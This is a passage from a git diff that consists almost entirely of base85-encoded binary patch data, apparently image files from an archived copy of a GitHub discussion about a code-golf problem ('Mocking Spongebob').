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 literal 0 HcmV?d00001 diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 